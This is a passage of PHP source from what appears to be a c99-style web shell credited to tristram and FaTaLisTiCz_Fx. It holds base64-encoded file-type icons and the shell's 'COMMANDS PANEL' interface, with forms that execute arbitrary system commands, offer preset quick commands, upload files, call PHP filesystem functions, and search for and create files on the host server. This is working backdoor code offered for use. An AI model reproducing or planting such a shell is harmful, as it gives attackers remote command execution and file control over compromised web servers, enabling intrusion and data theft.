  2323. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2324. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2325. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2326. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2327. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2328. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2329. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2330. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2331. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  2332. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  2333. "sql_button_insert"=>
  2334. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2335. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2336. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2337. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2338. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2339. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2340. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2341. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2342. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2343. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2344. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2345. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2346. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2347. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  2348. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  2349. "up"=>
  2350. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  2351. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  2352. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  2353. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  2354. "write"=>
  2355. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  2356. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  2357. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  2358. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  2359. "ext_asp"=>
  2360. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  2361. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  2362. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  2363. "ext_mp3"=>
  2364. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  2365. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  2366. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  2367. "ext_avi"=>
  2368. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  2369. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  2370. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  2371. "ext_cgi"=>
  2372. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  2373. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  2374. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  2375. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  2376. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2377. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2378. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2379. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  2380. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  2381. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  2382. "RYtMAgEAOw==",
  2383. "ext_cmd"=>
  2384. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  2385. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  2386. "dmrYAMn1onq/YKpjvEgAADs=",
  2387. "ext_cpp"=>
  2388. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  2389. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  2390. "Eq7YrLDE7a4SADs=",
  2391. "ext_ini"=>
  2392. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  2393. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  2394. "SnEjgPVarHEHgrB43JvszsQEADs=",
  2395. "ext_diz"=>
  2396. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  2397. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  2398. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  2399. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  2400. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  2401. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  2402. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  2403. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  2404. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2405. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2406. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2407. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2408. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2409. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2410. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  2411. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  2412. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  2413. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  2414. "Ow==",
  2415. "ext_doc"=>
  2416. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  2417. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  2418. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  2419. "ext_exe"=>
  2420. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  2421. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  2422. "xhIAOw==",
  2423. "ext_h"=>
  2424. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  2425. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  2426. "Wq/NknbbSgAAOw==",
  2427. "ext_hpp"=>
  2428. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  2429. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  2430. "UqUagnbLdZa+YFcCADs=",
  2431. "ext_htaccess"=>
  2432. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  2433. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  2434. "AAA7",
  2435. "ext_html"=>
  2436. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  2437. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  2438. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  2439. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  2440. "ADs=",
  2441. "ext_jpg"=>
  2442. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  2443. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  2444. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  2445. "FxEAOw==",
  2446. "ext_js"=>
  2447. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  2448. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  2449. "a00AjYYBbc/o9HjNniUAADs=",
  2450. "ext_lnk"=>
  2451. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  2452. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  2453. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  2454. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  2455. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  2456. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2457. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2458. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  2459. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  2460. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  2461. "ADs=",
  2462. "ext_log"=>
  2463. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  2464. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  2465. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  2466. "ext_php"=>
  2467. "R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp".
  2468. "aGeyYpqJlRG/rlwAADs=",
  2469. "ext_pl"=>
  2470. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  2471. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  2472. "ext_swf"=>
  2473. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  2474. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2475. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  2476. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  2477. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  2478. "ext_tar"=>
  2479. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  2480. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  2481. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  2482. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  2483. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2484. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2485. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2486. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  2487. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  2488. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  2489. "u4tLAgEAOw==",
  2490. "ext_txt"=>
  2491. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  2492. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  2493. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  2494. "ext_wri"=>
  2495. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  2496. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  2497. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  2498. "ext_xml"=>
  2499. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  2500. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2501. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  2502. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  2503. "IQA7"
  2504. );
  2505. //Untuk optimalisasi ukuran dan kecepatan.
  2506. $imgequals = array(
  2507.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  2508.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  2509.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  2510.   "ext_html"=>array("ext_html","ext_htm"),
  2511.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  2512.   "ext_lnk"=>array("ext_lnk","ext_url"),
  2513.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  2514.   "ext_doc"=>array("ext_doc","ext_dot"),
  2515.   "ext_js"=>array("ext_js","ext_vbs"),
  2516.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  2517.   "ext_wri"=>array("ext_wri","ext_rtf"),
  2518.   "ext_swf"=>array("ext_swf","ext_fla"),
  2519.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  2520.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  2521. );
  2522. if (!$getall) {
  2523.   header("Content-type: image/gif");
  2524.   header("Cache-control: public");
  2525.   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  2526.   header("Cache-control: max-age=".(60*60*24*7));
  2527.   header("Last-Modified: ".date("r",filemtime(__FILE__)));
  2528.   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  2529.   if (empty($images[$img])) {$img = "small_unk";}
  2530.   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  2531.   echo base64_decode($images[$img]);
  2532. }
  2533. else {
  2534.   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  2535.   natsort($images);
  2536.   $k = array_keys($images);
  2537.   echo  "<center>";
  2538.   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  2539.   echo "</center>";
  2540. }
  2541. exit;
  2542. }
  2543. if ($act == "about") {
  2544.   echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>tristram [CCTeaM]</b><br>".
  2545.        "Beta-testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br>".
  2546.        "Re-Coding, tricks, html and css by <b>FaTaLisTiCz_Fx [FeeLCoMz CoMMuNiTy]</b><br><br>".
  2547.        "Report bugs to <a href=\"mailto:\">FaTaLisTiCz_Fx</a></b>";
  2548. }
  2549. echo "</td></tr></table>\n";
  2550. /*** COMMANDS PANEL ***/
  2551. ?>
  2552. <div  class=bartitle><b>.: COMMANDS PANEL :.</b></div>
  2553. <table class=mainpanel>
  2554. <tr><td align=right>Command:</td>
  2555. <td><form method="POST">
  2556.     <input type=hidden name=act value="cmd">
  2557.     <input type=hidden name="d" value="<?php echo $dispd; ?>">
  2558.     <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>">
  2559.     <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute">
  2560.     </form>
  2561. </td></tr>
  2562. <tr><td align=right>Quick Commands:</td>
  2563. <td><form method="POST">
  2564.     <input type=hidden name=act value="cmd">
  2565.     <input type=hidden name="d" value="<?php echo $dispd; ?>">
  2566.     <input type=hidden name="cmd_txt" value="1">
  2567.     <select name="cmd">
  2568.     <?php
  2569.     foreach ($cmdaliases as $als) {
  2570.       echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  2571.     }
  2572.     foreach ($cmdaliases2 as $als) {
  2573.       echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  2574.     }
  2575.     ?>
  2576.     </select> <input type=submit name=submit value="Execute">
  2577.     </form>
  2578. </td></tr>
  2579. <tr><td align=right>Upload:</td>
  2580. <td><form method="POST" enctype="multipart/form-data">
  2581.     <input type=hidden name=act value="upload">
  2582.     <input type=hidden name="miniform" value="1">
  2583.     <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?>
  2584.     </form>
  2585. </td></tr>
  2586. <tr><td align=right>PHP Filesystem:</td>
  2587. <td>
  2588. <?php ##[ FaTaLisTiCz_Fx TriCkz ]## ?>
  2589. <script language="javascript">
  2590. function set_arg(txt1,txt2) {
  2591.   document.forms.fphpfsys.phpfsysfunc.value.selected = "Download";
  2592.   document.forms.fphpfsys.arg1.value = txt1;
  2593.   document.forms.fphpfsys.arg2.value = txt2;
  2594. }
  2595. function chg_arg(num,txt1,txt2) {
  2596.   if (num==0) {
  2597.     document.forms.fphpfsys.arg1.type = "hidden";
  2598.     document.forms.fphpfsys.A1.type = "hidden";
  2599.   }
  2600.   if (num<=1) {
  2601.     document.forms.fphpfsys.arg2.type = "hidden";
  2602.     document.forms.fphpfsys.A2.type = "hidden";
  2603.   }
  2604.   if (num==2) {
  2605.     document.forms.fphpfsys.A1.type = "label";
  2606.     document.forms.fphpfsys.A2.type = "label";
  2607.     document.forms.fphpfsys.arg1.type = "text";
  2608.     document.forms.fphpfsys.arg2.type = "text";
  2609.   }
  2610.   document.forms.fphpfsys.A1.value = txt1 + ":";
  2611.   document.forms.fphpfsys.A2.value = txt2 + ":";
  2612. }
  2613. </script>
  2614. <?php
  2615.   echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n".
  2616.        "<select name=\"phpfsysfunc\">\r\n";
  2617.   foreach ($phpfsaliases as $als) {
  2618.     if ($als[1]==$phpfsysfunc) {
  2619.       echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
  2620.     }
  2621.     else {
  2622.       echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n";
  2623.     }
  2624.   }
  2625.   echo "</select>\r\n".
  2626.        "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n".
  2627.        "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n".
  2628.        "<input type=submit name=submit value=\"Execute\"><hr noshade size=1>\r\n";
  2629.   foreach ($sh_sourcez as $e => $o) {
  2630.     echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n";
  2631.   }
  2632.   echo "</form>\r\n";
  2633. ?>
  2634. </td></tr>
  2635. <tr><td align=right>Search File:</td>
  2636. <td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  2637.     <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search">
  2638.     </form>
  2639.     </td></tr>
  2640. <tr><td align=right>Create File:</td>
  2641. <td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
